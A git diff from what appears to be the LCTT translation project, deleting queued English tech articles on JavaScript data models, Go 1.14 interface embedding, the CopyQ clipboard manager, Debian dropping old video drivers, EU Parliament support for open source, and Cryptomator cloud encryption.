attributes that were not received with default values: - - -``` - // base.js - // ... - - export class Model { -   constructor(attributes = {}) { -     defaultsDeep(this, attributes, this.defaults); -   } - } -``` - -Now, create your first real model, Employee, with attributes for firstName, lastName, position and hiredAt where "position" defines "Programmer" as the default value: - - -``` - // employee.js - import { Model } from "./base.js"; - - export class Employee extends Model { -   get defaults() { -     return { -       firstName: "", -       lastName: "", -       position: "Programmer", -       hiredAt: "" -     }; -   } - } -``` - -Next, begin creating employees: - - -``` -// app.js - import { Employee } from "./employee.js"; - - const programmer = new Employee({ -   firstName: "Will", -   lastName: "Smith" - }); - - // => Employee { - //   firstName: "Will", - //   lastName: "Smith", - //   position: "Programmer", - //   hiredAt: "", - //   constructor: Object - // } - - const techLeader = new Employee({ -   firstName: "Charles", -   lastName: "Bartowski", -   position: "Tech Leader" - }); - - // => Employee { - //   firstName: "Charles", - //   lastName: "Bartowski", - //   position: "Tech Leader", - //   hiredAt: "", - //   constructor: Object - // } -``` - -You have two employees, and the first one's position is assigned from the defaults. Here's how multiple employees can be defined: - - -``` - // base.js - - // ... - - export class List { -   constructor(items = []) { -     this.models = items.map(item => new this.model(item)); -   } - } - -[/code] [code] - - // employee.js - import { Model, List } from "./base.js"; - - // … - - export class EmployeesList extends List { -   get model() { -     return Employee; -   } - } -``` - -The List class constructor maps an array of received items into an array of desired models. The only requirement is to provide a correct model class name: - - -``` - // app.js - import { Employee, EmployeesList } from "./employee.js"; - - // … - - const employees = new EmployeesList([ -   { -     firstName: "Will", -     lastName: "Smith" -   }, -   { -     firstName: "Charles", -     lastName: "Bartowski", -     position: "Tech Leader" -   } - ]); - - // => EmployeesList {models: Array[2], constructor: Object} - //  models: Array[2] - //   0: Employee - //     firstName: "Will" - //     lastName: "Smith" - //     position: "Programmer" - //     hiredAt: "" - //     <constructor>: "Employee" - //   1: Employee - //     firstName: "Charles" - //     lastName: "Bartowski" - //     position: "Tech Leader" - //     hiredAt: "" - //     <constructor>: "Employee" - //   <constructor>: "EmployeesList" -``` - -### Ways to use this approach - -This simple solution allows you to keep your data structure in one place and avoid code repetition. The [DRY][8] principle rocks! You can also customize your models as needed, such as in the following examples. - -#### Custom getters - -Do you need one attribute to be dependent on the others? No problem; you can do this by improving your Employee model: - - -``` -// employee.js - import { Model } from "./base.js"; - - export class Employee extends Model { -   get defaults() { -     return { -       firstName: "", -       lastName: "", -       position: "Programmer", -       hiredAt: "" -     }; -   } - -   get fullName() { -     return [this.firstName, this.lastName].join(' ') -   } - - } - -[/code] [code] - -// app.js - import { Employee, EmployeesList } from "./employee.js"; - - // … - - console.log(techLeader.fullName); - // => Charles Bartowski -``` - -Now you don't have to repeat the code to do something as simple as displaying the employee's full name. - -#### Date formatting - -Model is a good place to define other formats for given attributes. The best examples are dates: - - -``` -// employee.js - import { Model } from "./base.js"; - import moment from 'moment'; - - export class Employee extends Model { -   get defaults() { -     return { -       firstName: "", -       lastName: "", -       position: "Programmer", -       hiredAt: "" -     }; -   } - -   get formattedHiredDate() { -     if (!this.hiredAt) return "---"; - -     return moment(this.hiredAt).format('MMMM DD, YYYY'); -   } - } - -[/code] [code] - -// app.js - import { Employee, EmployeesList } from "./employee.js"; - - // … - - techLeader.hiredAt = "2020-05-01"; - - console.log(techLeader.formattedHiredDate); - // => May 01, 2020 -``` - -Another case related to dates (which I discovered developing the Evally app) is the ability to operate with different date formats. Here's an example that uses datepicker: - - 1. All employees fetched from the database have the hiredAt date in the format: -YEAR-MONTH-DAY, e.g., 2020-05-01 - 2. You need to display the hiredAt date in a more friendly format: -MONTH DAY, YEAR, e.g., May 01, 2020 - 3. A datepicker uses the format: -DAY-MONTH-YEAR, e.g., 01-05-2020 - - - -Resolve this issue with: - - -``` -// employee.js - import { Model } from "./base.js"; - import moment from 'moment'; - - export class Employee extends Model { - -   // … - -   get formattedHiredDate() { -     if (!this.hiredAt) return "---"; - -     return moment(this.hiredAt).format('MMMM DD, YYYY'); -   } - -   get hiredDate() { -     return ( -       this.hiredAt -         ? moment(this.hiredAt).format('DD-MM-YYYY') -         : '' -     ); -   } - -   set hiredDate(date) { -     const mDate = moment(date, 'DD-MM-YYYY'); -  -     this.hiredAt = ( -       mDate.isValid() -         ? mDate.format('YYYY-MM-DD') -         : '' -     ); -   } - } -``` - -This adds getter and setter functions to handle datepicker's functionality. - - -``` - // Get date from server - techLeader.hiredAt = '2020-05-01'; - console.log(techLeader.formattedHiredDate); - // => May 01, 2020 - - // Datepicker gets date - console.log(techLeader.hiredDate); - // => 01-05-2020 - - // Datepicker sets new date - techLeader.hiredDate = '15-06-2020'; - - // Display new date - console.log(techLeader.formattedHiredDate); - // => June 15, 2020 -``` - -This makes it very simple to manage multiple date formats. - -#### Storage for model-related information - -Another use for a model class is storing general information related to the model, like paths for routing: - - -``` -// employee.js - import { Model } from "./base.js"; - import moment from 'moment'; - - export class Employee extends Model { - -   // … - -   static get routes() { -     return { -       employeesPath: '/api/v1/employees', -       employeePath: id => `/api/v1/employees/${id}` -     } -   } - - } - -[/code] [code] - - // Path for POST requests - console.log(Employee.routes.employeesPath) - - // Path for GET request - console.log(Employee.routes.employeePath(1)) -``` - -### Customize the list of models - -Don't forget about the List class, which you can customize as needed: - - -``` -// employee.js - import { Model, List } from "./base.js"; - - // … - - export class EmployeesList extends List { -   get model() { -     return Employee; -   } - -   findByFirstName(val) { -     return this.models.find(item => item.firstName === val); -   } - -   filterByPosition(val) { -     return this.models.filter(item => item.position === val); -   } - } - -[/code] [code] - - console.log(employees.findByFirstName('Will')) - // => Employee { - //   firstName: "Will", - //   lastName: "Smith", - //   position: "Programmer", - //   hiredAt: "", - //   constructor: Object - // } - - console.log(employees.filterByPosition('Tech Leader')) - // => [Employee] - //     0: Employee - //       firstName: "Charles" - //       lastName: "Bartowski" - //       position: "Tech Leader" - //       hiredAt: "" - //       <constructor>: "Employee" -``` - -### Summary - -This simple structure for data modeling in JavaScript should save you some development time. You can add new functions whenever you need them to keep your code cleaner and easier to maintain. All of this code is available in my [CodeSandbox][9], so try it out and let me know how it goes by leaving a comment below. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/5/data-modeling-javascript - -作者:[Szymon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/schodevio -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/analytics-graphs-charts.png?itok=sersoqbV (Analytics: Charts and Graphs) -[2]: https://railwaymen.org/ -[3]: https://blog.railwaymen.org/vue-vs-react-which-one-is-better-for-your-app-similarities-differences -[4]: https://www.npmjs.com/ -[5]: https://github.com/railwaymen/evally -[6]: https://lodash.com/ -[7]: https://lodash.com/docs/4.17.15 -[8]: https://en.wikipedia.org/wiki/Don%27t_repeat_yourself -[9]: https://codesandbox.io/s/02jsdatamodels-1mhtb diff --git a/sources/tech/20200524 Diamond interface composition in Go 1.14.md b/sources/tech/20200524 Diamond interface composition in Go 1.14.md deleted file mode 100644 index 611bb2c39e..0000000000 --- a/sources/tech/20200524 Diamond interface composition in Go 1.14.md +++ /dev/null @@ -1,124 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Diamond interface composition in Go 1.14) -[#]: via: (https://dave.cheney.net/2020/05/24/diamond-interface-composition-in-go-1-14) -[#]: author: (Dave Cheney https://dave.cheney.net/author/davecheney) - -Diamond interface composition in Go 1.14 -====== - -Per the [overlapping interfaces proposal][1], Go 1.14 now permits embedding of interfaces with overlapping method sets. This is a brief post explain what this change means: - -Let’s start with the definition of the three key interfaces from the `io` package; `io.Reader`, `io.Writer`, and `io.Closer`: - -``` -package io - -type Reader interface { - Read([]byte) (int, error) -} - -type Writer interface { - Write([]byte) (int, error) -} - -type Closer interface { - Close() error -} -``` - -Just as embedding a type inside a struct allows the embedded type’s fields and methods to be accessed as if it were declared on the embedding type[1][2], the process is true for interfaces. Thus there is no difference between explicitly declaring - -``` -type ReadCloser interface { - Read([]byte) (int, error) - Close() error -} -``` - -and using embedding to compose the interface - -``` -type ReadCloser interface { - Reader - Closer -} -``` - -You can even mix and match - -``` -type WriteCloser interface { - Write([]byte) (int, error) - Closer -} -``` - -However, prior to Go 1.14, if you continued to compose interface declarations in this manner you would likely find that something like this, - -``` -type ReadWriteCloser interface { - ReadCloser - WriterCloser -} -``` - -would fail to compile - -``` -% go build interfaces.go -command-line-arguments -./interfaces.go:27:2: duplicate method Close -``` - -Fortunately, with Go 1.14 this is no longer a limitation, thus solving problems that typically occur with diamond-shaped embedding graphs. - -However, there is a catch that I ran into attempting to demonstrate this feature to the local user group–this feature is only enabled when the Go compiler uses the 1.14 (or later) spec. - -As near as I can make out the rules for which version of the Go spec is used during compilation appear to be: - - 1. If your source code is stored inside `GOPATH` (or you have _disabled_ modules with `GO111MODULE=off`) then the version of the Go spec used to compile with matches the version of the compiler you are using. Said another way, if you have Go 1.13 installed, your Go version is 1.13. If you have Go 1.14 installed, your version is 1.14. No surprises here. - 2. If your source code is stored outside `GOPATH` (or you have forced modules on with `GO111MODULE=on`) then the `go` tool will take the Go version from the `go.mod` file. - 3. If there is no Go version listed in `go.mod` then the version of the spec will be the version of Go installed. This is identical to point 1. - 4. If you are in module mode, either by being outside `GOPATH` or with `GO111MODULE=on`, but there is no `go.mod` file in the current, or any parent, directory then the version of the Go spec used to compile your code defaults to Go 1.13. - - - -The last point caught me out. - - 1. It is said that embedding promotes the type’s fields and methods.[][3] - - - -### Related posts: - - 1. [Struct composition with Go][4] - 2. [term: low level serial with a high level interface][5] - 3. [Accidental method value][6] - 4. [How does the go build command work ?][7] - - - --------------------------------------------------------------------------------- - -via: https://dave.cheney.net/2020/05/24/diamond-interface-composition-in-go-1-14 - -作者:[Dave Cheney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://dave.cheney.net/author/davecheney -[b]: https://github.com/lujun9972 -[1]: https://github.com/golang/proposal/blob/master/design/6977-overlapping-interfaces.md -[2]: tmp.nUQHg5BP9T#easy-footnote-bottom-1-4179 (It is said that embedding promotes the type’s fields and methods.) -[3]: tmp.nUQHg5BP9T#easy-footnote-1-4179 -[4]: https://dave.cheney.net/2015/05/22/struct-composition-with-go (Struct composition with Go) -[5]: https://dave.cheney.net/2014/05/08/term-low-level-serial-with-a-high-level-interface (term: low level serial with a high level interface) -[6]: https://dave.cheney.net/2014/05/19/accidental-method-value (Accidental method value) -[7]: https://dave.cheney.net/2013/10/15/how-does-the-go-build-command-work (How does the go build command work ?) diff --git a/sources/tech/20200525 CopyQ Clipboard Manager for Keeping a Track of Clipboard History.md b/sources/tech/20200525 CopyQ Clipboard Manager for Keeping a Track of Clipboard History.md deleted file mode 100644 index 616ee5971a..0000000000 --- a/sources/tech/20200525 CopyQ Clipboard Manager for Keeping a Track of Clipboard History.md +++ /dev/null @@ -1,113 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (CopyQ Clipboard Manager for Keeping a Track of Clipboard History) -[#]: via: (https://itsfoss.com/copyq-clipboard-manager/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -CopyQ Clipboard Manager for Keeping a Track of Clipboard History -====== - -How do you copy-paste text? Let me guess. You either use the right click menu to copy-paste or use Ctrl+C to copy a text and Ctrl+V to paste the text. The text copied this way is saved to ‘clipboard’. The [clipboard][1] is a special location in the memory of your system that stores cut or copied text (and in some cases images). - -But have you ever been in a situation where you had a text copied and then you copy another text and then realize you needed the text you copied earlier? Trust me, it happens a lot. - -Instead of wondering about finding the previous text to copy again, you can use a clipboard manager. - -A clipboard manager is a handy little tool that keeps a history of the text you had copied. If you need to use the earlier copied text, you can use the clipboard manager to copy it again. - -![Clipboard][2] - -There are several clipboard managers available for Linux. In this article, I’ll cover one such tool that goes by the name CopyQ. - -### CopyQ Clipboard Manager - -[CopyQ][3] is nifty clipboard manager that has plenty of features to manage your system’s clipboard. It is an open source software available for free for major Linux distributions. - -Like any other clipboard manager, CopyQ monitors the system clipboard and saves its content. It can save both text and images from the clipboard. - -CopyQ sits in the system tray and you can easily access it from there. From the system tray, just click on the text that you want. It will automatically copy this text and you would notice that the copied text moves on to the top of the saved clipboards. - -![][4] - -In the system tray, it shows only the five recent clips. You can open the main window using the “Show/hide main window” option in the system tray. CopyQ saves up to 200 clips. You may edit the clipboard items here. - -![][5] - -You may also set a keyboard shortcut to bring the clipboard with a few key combination. This option is available in Preferences->Shortcuts. - -![][6] - -If you decide to use it, I advise enabling the autostart so that CopyQ runs automatically when you start your system. By default, it saves 200 items in the history and that’s a lot in my opinion. You may want to change that as well. - -![][7] - -CopyQ is an advanced clipboard manager with plenty of additional features. You can search for text in the saved clipboard items. You can sort, create, edit or change the order of the clipboard items. - -You can ignore clipboard copied from some windows or containing some text. You can also temporarily disable clipboard saving. CopyQ also supports [Vim][8]-like editor and shortcut for Vim fans. - -There are many more features that you may explore on your own. For me, the most notable feature is that it gives me easy access to older copied text, and I am happy with that. - -### Installing CopyQ on Linux - -CopyQ is available for Linux, Windows and macOS. You can get the executable file for Windows and macOS [from its website][3]. - -For Linux, CopyQ is available in the repositories of all major Linux distributions. Which means that you can find it in your software center or install it using your distribution’s package manager. - -Ubuntu users may find it in the software center if [universe repository is enabled][9]. - -![CopyQ in Ubuntu Software Center][10] - -Alternatively, you can use the apt command to install it: - -``` -sudo apt install copyq -``` - -Ubuntu users also have the option to [use the official PPA][11] and always get the latest stable CopyQ version. For example, at the time of writing this article, CopyQ version in Ubuntu 20.04 is 3.10 while [PPA has newer version][12] 3.11. It’s your choice really. - -``` -sudo add-apt-repository ppa:hluk/copyq -sudo apt update -sudo apt install copyq -``` - -You may also want to know [how to remove PPA][13] later. - -### Do you use a clipboard manager? - -I find it surprising that many people are not even aware of an essential utility like clipboard manager. For me, it’s one of the [essential productivity tools on Linux][14]. - -As I mentioned at the beginning of the article, there are several clipboard managers available for Linux. CopyQ is one of such tools. Do you use or know of some other similar clipboard tool? Why not let us know in the comments? - -If you started using CopyQ after reading this article, do share your experience with it. What you liked and what you didn’t like? The comment section is all yours. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/copyq-clipboard-manager/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://www.computerhope.com/jargon/c/clipboar.htm -[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/clipboard.png?ssl=1 -[3]: https://hluk.github.io/CopyQ/ -[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/copyq-system-tray.png?ssl=1 -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/copyq-main-window.png?ssl=1 -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/copyq-shortcuts.png?ssl=1 -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/copyq-auto-start.png?ssl=1 -[8]: https://itsfoss.com/vim-8-release-install/ -[9]: https://itsfoss.com/ubuntu-repositories/ -[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/copyq-software-center.png?resize=800%2C474&ssl=1 -[11]: https://itsfoss.com/ppa-guide/ -[12]: https://launchpad.net/~hluk/+archive/ubuntu/copyq -[13]: https://itsfoss.com/how-to-remove-or-delete-ppas-quick-tip/ -[14]: https://itsfoss.com/productivity-tips-ubuntu/ diff --git a/sources/tech/20200525 Debian-s Decision to Drop Old Drivers has Upset Vintage Hardware Users.md b/sources/tech/20200525 Debian-s Decision to Drop Old Drivers has Upset Vintage Hardware Users.md deleted file mode 100644 index fb2b9005ea..0000000000 --- a/sources/tech/20200525 Debian-s Decision to Drop Old Drivers has Upset Vintage Hardware Users.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Debian’s Decision to Drop Old Drivers has Upset Vintage Hardware Users) -[#]: via: (https://itsfoss.com/debian-dropping-old-drivers/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -Debian’s Decision to Drop Old Drivers has Upset Vintage Hardware Users -====== - -It is always a tough decision to drop support for older hardware for the latest Linux distribution releases. Just like [Ubuntu decided to drop support for 32-bit systems][1], Debian’s X Strike Force (XFS) team decided to drop a list of input and video drivers. - -### Debian is considering to drop support for really old hardware - -![][2] - -In case you didn’t know, the XFS team is responsible for maintaining packages the [X Window System][3] in [Debian][4]. And, the list of drivers that [they want to remove][5] are: - - * xserver-xorg-input-aiptek - * xserver-xorg-input-elographics - * xserver-xorg-input-mtrack - * xserver-xorg-input-mutouch - * xserver-xorg-input-void - * server-xorg-video-ast - * xserver-xorg-video-mach64 - - - * xserver-xorg-video-neomagic - * xserver-xorg-video-r128 - * xserver-xorg-video-savage - * xserver-xorg-video-siliconmotion - * xserver-xorg-video-sisusb - * xserver-xorg-video-tdfx - * xserver-xorg-video-trident - - - -So, Mach 64, [ATI Rage R128][6], Savage, Silicon Motion, SiS, Trident, and NeoMagic are some of the graphics chipsets that would be affected. The reason (as stated by them) to drop these drivers is: - -> They are either unmaintained upstream or provide no value to the distribution. - -Now, that could make sense, if the packages are no longer maintained. But, upstream some of these X.org drivers are still **maintained** even if there are no frequent updates to them. For instance, in 2018, a [new display driver update was released for the ATI RAGE 128][7], as reported by Phoronix. - -### Vintage hardware owners are going to be upset - -Obviously, the vintage hardware users aren’t quite happy with the decision because a handful of people still own (or actively use) old hardware i.e. around 20 years older. - -From the original list of drivers mentioned in the [bug report][5], **Geode display driver** was initially decided to be removed but wasn’t dropped. - -It was also reported that the “**xserver-xorg-video-r128**” driver is required for older Apple hardware (iMac). And, a user reported about the missing video driver on his iMac. - -For most of the users, this decision may not actually affect any “production” systems because I don’t think anyone is probably going to utilize 20-year old hardware for commercial purposes. - -The hobbyists and collectors who like to preserve older tech are surely going to be impacted by this decision. - -### Wrapping Up - -In my opinion, dropping the support for incredibly dated hardware is not entirely a bad move. - -But, if there is a demand for the support of vintage hardware, the fair share of users who want the drivers to be added in Debian should help maintain those packages. If not, I don’t think it won’t be a wise choice to have an unmaintained piece of code in Debian. - -What do you think about this? Feel free to share your thoughts in the comments below! - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/debian-dropping-old-drivers/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/ubuntu-drops-32-bit-desktop/ -[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/04/debian-bug-report-driver-drop.jpg?ssl=1 -[3]: https://en.wikipedia.org/wiki/X_Window_System -[4]: https://www.debian.org/ -[5]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=955603 -[6]: https://en.wikipedia.org/wiki/ATI_Rage_series -[7]: https://www.phoronix.com/scan.php?page=news_item&px=ATI-RAGE-128-DDX-6.11.0 diff --git a/sources/tech/20200525 EU Parliament Strongly Recommends Developing and Using Open Source Software.md b/sources/tech/20200525 EU Parliament Strongly Recommends Developing and Using Open Source Software.md deleted file mode 100644 index bfeb5635ce..0000000000 --- a/sources/tech/20200525 EU Parliament Strongly Recommends Developing and Using Open Source Software.md +++ /dev/null @@ -1,84 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (EU Parliament Strongly Recommends Developing and Using Open Source Software) -[#]: via: (https://itsfoss.com/eu-parliament-recommends-open-source/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -EU Parliament Strongly Recommends Developing and Using Open Source Software -====== - -Europe is choosing open source more than ever. Not just limited to [EU Commissions’ decision to use Signal messaging app][1] but also [open science][2] and the [adoption of open source software by European universities][3]. - -Now, in a recent [press release][4] by the [European Pirate Party][5], it looks like the EU Parliament is urging EU institutions to use open-source software. All thanks to the Pirate amendments for encouraging the use of open-source software. - -The EU Parliament not just encourages the use of open-source software, but they have also advised to prioritize development of open-source software by the EU institutions. - -So, not just aiming to adopt using open-source software but to develop open-source software. And, that’s definitely good news! - -More use of open-source software, why not? To give you some more details, here’s what they mentioned in the press release: - -> **In practice, from now on, all IT solutions developed by and for the EU institutions will first need to be assessed against the possibility of using Open Source solutions. Assessments will then have to be reported back to the Budgetary Control Committee of the Parliament on an annual basis, during the discharge procedure. This is a strong call for enhancing our important citizens right to transparent and trustworthy information.** - -### Important decision to remove vendor lock-ins - -![Public Money Public Code Campaign][6] - -No matter who made this happen — this decision of preferring open-source software over proprietary will not just help the open-source community but also helps the EU institutions in a variety of ways. - -Especially, relying on open-source software removes the overhead of vendor lock-ins. In other words, an EU institution does not have to rely on vendor to manage/maintain the software. - -The press release also addressed this by mentioning: - -> It is essential for the European institutions to retain control over its own technical systems, especially in a context of disinformation and foreign interference. Open Source promotes local technical support, leads to rapid development of software and helps to avoid dependency on specific suppliers or vendor lock-in effects, which exist when only one company is in charge of software or even the entire IT infrastructure supply. - -Any responsible local organization can take up the task while the community can still help in any way it can. This could also reduce the cost of maintaining the software among other things like improving the security of a software in a collaborative manner. - -### Is this a big win for open-source community? - -![][7] - -Yes, and no. We’ve seen a lot of recommendations made by the governments (or the EU government in general) to choose open-source software to keep things more secure yet transparent. - -Pirate’s Vice-President of EU Parliament, **Marcel Kolaja**, mentions some advantages of this decision as well: - -_It’s a milestone for transparent and open digitization of the European institutions. From now on, the Open Source ecosystem has a stepping ground for offering Open Source solutions and the Pirates will gladly play the role of the guardians and will try to solve and highlight any attempt to bypass this strong recommendation. It’s a really important step to remove vendor lock-ins in the Parliament“_ - -So, this will definitely help them earn trust of their citizens by providing digital transparency while also encouraging public participation to improve the software as well. Of course, this will also help introduce the concept of open-source software to many who were unaware of it in some way. - -Also, ensuring open-source software for publicly financed software will enhance the meaning of freedom of speech/privacy/press. - -In a nutshell, these decisions do have a positive impact in one way or the other. - -But, the implementations of these decisions will decide how effective it’s going to be to put the words in action. - -### Wrapping Up - -I’m happy with the decision by EU Parliament here — even though I’m not a European. I guess, this should encourage other government bodies to take similar decisions or steps to ensure digital transparency while earning the trust of their citizens. - -To get more details on the decision, you can refer to the [official press release by the European Pirate Party][4]. - -What do you think about it? Let me know your thoughts in the comments below! - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/eu-parliament-recommends-open-source/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/eu-commission-switches-to-signal/ -[2]: https://ec.europa.eu/research/openscience/index.cfm?pg=openaccess -[3]: https://opensource.com/article/20/5/open-source-higher-education -[4]: https://european-pirateparty.eu/european-parliament-strongly-recommends-any-software-developed-by-and-for-the-eu-institutions-to-be-made-publicly-available-under-free-and-open-source-software-licence/ -[5]: https://en.wikipedia.org/wiki/European_Pirate_Party -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/public-money-public-code.png?resize=800%2C420&ssl=1 -[7]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/eu-parliament-open-source.jpg?ssl=1 diff --git a/sources/tech/20200525 Encrypt Your Files Before Uploading it to Cloud With Cryptomator.md b/sources/tech/20200525 Encrypt Your Files Before Uploading it to Cloud With Cryptomator.md deleted file mode 100644 index eda3a2990e..0000000000 --- a/sources/tech/20200525 Encrypt Your Files Before Uploading it to Cloud With Cryptomator.md +++ /dev/null @@ -1,184 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Encrypt Your Files Before Uploading it to Cloud With Cryptomator) -[#]: via: (https://itsfoss.com/cryptomator/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -Encrypt Your Files Before Uploading it to Cloud With Cryptomator -====== - -_**Open source software highlight of this week is Cryptomator. It is a unique free and open-source encryption software that lets you encrypt your data before uploading it to the cloud.**_ - -There are several [cloud services available for Linux][1] and almost all of them do not offer [end to end encryption][2], at least not by default. - -Usually, the connection between your device and the server is secure. But your data stored on the server is not encrypted. Employees with direct access to the infrastructure at your cloud service providers may access this data. - -Of course, these companies have strict policies against such intrusion but a rogue employee can do a lot of damage. Remember the incident when a [departing Twitter employee deactivated the account of US President Donald Trump][3]. - -If you are one of the privacy cautious people, you would want the ease of cloud storage but with the added security layer of encrypted storage. - -Now some [services like pCloud do provide end to end encryption][4] but that comes at an additional cost. If you could afford that, well and good. If not, you can use a free and open source tool like [Cryptomator][5]. - -Cryptomator helps you secure your data by encrypting it before uploading it to any cloud storage services. In this article, I’m going to highlight the key features of Cryptomator along with instructions to use it. - -### Cryptomator: Add an encryption layer to your cloud data - -![][6] - -Cryptomator is a solution to encrypt your data locally before uploading it to the cloud. - -With this, you can create vaults locally and sync them to the cloud storage services you use. - -It’s very easy to use and you don’t need to have any specific technical knowledge to encrypt your data – that’s what Cryptomator is tailored for. - -### Features of Cryptomator - -Cryptomator is a simple encryption tool with the essential features. Here’s what it offers: - - * [AES][7] and 256-bit Encryption for files. - * Ability to create a vault and sync it with the cloud storage service - * Optional recovery key for your master password of the vault - * Cross-platform support (Linux, Windows, macOS, Android, and iOS) - * Supports the dark theme for a one-time license fee. - * Supports [WebDAV][8], [FUSE][9], and [Dokany][10] for easy integration with your operating system. - - - -Do note that the [Android][11] and [iOS][12] apps are paid apps that you have to purchase separately while the desktop program is completely free to use. Also, you need to purchase a one-time license to unlock the dark mode. Don’t blame them please. They need to make some money in order to develop this open source software. - -### Installing Cryptomator on Linux - -Cryptomater provides an AppImage file that you can download to get started on any Linux distribution. - -You can get it from its [official download page][13]. In case you don’t know, please read [how to use an AppImage file][14] to get started. - -[Download Cryptomator][5] - -### How To Use Cryptomator? - -Attention! - -Encryption is a double-edged sword. It can protect you and it can hurt you as well. -If you are encrypting your data and you forgot your encryption key, you’ll lose access to that data forever. -Cryptomator provides a recovery key option so please be careful with both password and the recovery key. Don’t forget it or lose the recovery key. - -Once you have installed Cryptomator, it’s really easy to use it following the user interface or the [official documentation][15]. - -But, to save you some time, I’ll highlight a few important things that you should know: - -#### Setup Your Vault - -![][16] - -After launching Cryptomator, you need to create the vault where you want to have your encrypted data. - -This can be an existing location or a new custom directory as per your requirements. - -Now that you proceed creating a new vault, you will also observe that you can open an existing vault as well (if you had one already). So, always have a backup of your vault, just in case. - -![][17] - -Here, I am assuming that you are a new user. So, obviously, proceed to create a new vault and give it a name: - -![][18] - -Next, you need to specify a storage location. If you already use OneDrive, Dropbox, Google Drive, or something similar, it might detect it automatically. - -![][19] - -However, if it doesn’t, like in my case (I use [pCloud][20]), you can select the cloud-synced directory or any other custom location manually. - -Once you select the location, you just need to create a password for it. It’s best to create a strong password that you can remember. - -![][21] - -Also, I’d suggest you to opt for the recovery key and store it in a separate USB drive or just print it on a paper. - -![][22] - -And, that’s it. You’re done creating your secure vault that you can sync with the cloud. - -![][23] - -Now, how do you add files to it? Let’s take a look: - -#### Adding Files To A Vault - -_**Note:** You can’t just go into the folder that you created from the file manager and files there. Follow the steps below to add files properly in your encrypted vault._ - -Once you’ve created your vault, you just need to unlock it by typing the password as shown in the image below. If you’re on your personal computer, you can choose to save the password without needing to enter it every time you access the vault. However, I advise not to do that. Manually entering the password help in remembering it. - -![][24] - -Next, after unlocking the vault, you just need to click on “**Reveal Vault**” or reveal drive to open it using **File Manager** where you can access/modify or add files to it. - -#### Backup / Recover Your Vault - -You should simply copy-paste the folder you create to another USB drive or somewhere else other than your cloud storage folder to ensure that you have a backup of your vault. - -![][25] - -It’s important to have the **masterkey.cryptomator** file of the vault in order to open it. - -#### Upgrades, Preferences & Settings - -Note - -You should enable the auto-updates feature to ensure that you will have the most stable and error-free version automatically. - -Apart from the most important functions of the Cryptomator app, you will get a couple of other features to tweak, such as: - - * Change the type of your virtual drive - * Tweak the vault to read-only mode - - - -You can explore the **Vault options** and the settings on Cryptomator to know about what else you can do. - -**Wrapping Up** - -Now that you know about Cryptomator, you can easily encrypt your important data locally before uploading them to the cloud. - -What do you think about Cryptomator? Let us know your thoughts in the comments down below! - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/cryptomator/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ 